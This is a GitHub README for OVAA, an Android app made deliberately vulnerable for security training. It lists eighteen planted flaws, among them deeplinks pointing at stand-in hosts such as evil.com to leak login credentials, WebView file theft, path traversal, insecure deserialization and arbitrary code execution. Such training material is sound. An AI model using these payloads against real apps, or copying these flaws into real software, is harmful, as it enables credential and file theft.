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https://github.com/oversecured/ovaa

Oversecured Vulnerable Android App
https://github.com/oversecured/ovaa

android-security appsec mobile-security vulnerable-android-apps vulnerable-application

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Oversecured Vulnerable Android App

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README 

        
## Description

OVAA (Oversecured Vulnerable Android App) is an Android app that aggregates all the platform's known and popular security vulnerabilities.



## List of vulnerabilities

This section only includes the list of vulnerabilities, without a detailed description or proof of concept. Examples from OVAA will receive detailed examination and analysis on [our blog](https://blog.oversecured.com/).



1. Installation of an arbitrary `login_url` via deeplink `oversecured://ovaa/login?url=http://evil.com/`. Leads to the user's user name and password being leaked when they log in.

2. Obtaining access to arbitrary content providers (not exported, but with the attribute `android:grantUriPermissions="true"`) via deeplink `oversecured://ovaa/grant_uri_permissions`. The attacker's app needs to process `oversecured.ovaa.action.GRANT_PERMISSIONS` and pass intent to `setResult(code, intent)` with flags such as `Intent.FLAG_GRANT_READ_URI_PERMISSION` and the URI of the content provider.

3. Vulnerable host validation when processing deeplink `oversecured://ovaa/webview?url=...`.

4. Opening arbitrary URLs via deeplink `oversecured://ovaa/webview?url=http://evilexample.com`. An attacker can use the vulnerable WebView setting `WebSettings.setAllowFileAccessFromFileURLs(true)` in the `WebViewActivity.java` file to steal arbitrary files by sending them XHR requests and obtaining their content.

5. Access to arbitrary activities and acquiring access to arbitrary content providers in `LoginActivity` by supplying an arbitrary Intent object to `redirect_intent`.

6. Theft of arbitrary files in `MainActivity` by intercepting an activity launch from `Intent.ACTION_PICK` and passing the URI to any file as data.

7. Insecure broadcast to `MainActivity` containing credentials. The attacker can register a broadcast receiver with action `oversecured.ovaa.action.UNPROTECTED_CREDENTIALS_DATA` and obtain the user's data.

8. Insecure activity launch in `MainActivity` with action `oversecured.ovaa.action.WEBVIEW`, containing the user's encrypted data in the query parameter `token`.

9. Deletion of arbitrary files via the insecure `DeleteFilesSerializable` deserialization object.

10. Memory corruption via the `MemoryCorruptionParcelable` object.

11. Memory corruption via the `MemoryCorruptionSerializable` object.

12. Obtaining read/write access to arbitrary files in `TheftOverwriteProvider` via path-traversal in the value `uri.getLastPathSegment()`.

13. Obtaining access to app logs via `InsecureLoggerService`. Leak of credentials in `LoginActivity` `Log.d("ovaa", "Processing " + loginData)`.

14. Use of the hardcoded AES key in `WeakCrypto`.

15. Arbitrary Code Execution in `OversecuredApplication` by launching code from third-party apps with no security checks.

16. Use of very wide file sharing declaration for `oversecured.ovaa.fileprovider` content provider in `root` entry.

17. Hardcoded credentials to a dev environment endpoint in `strings.xml` in `test_url` entry.

18. Arbitrary code execution via a DEX library located in a world-readable/writable directory.



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*Licensed under the Simplified BSD License*



*Copyright (c) 2020, Oversecured Inc*



https://oversecured.com/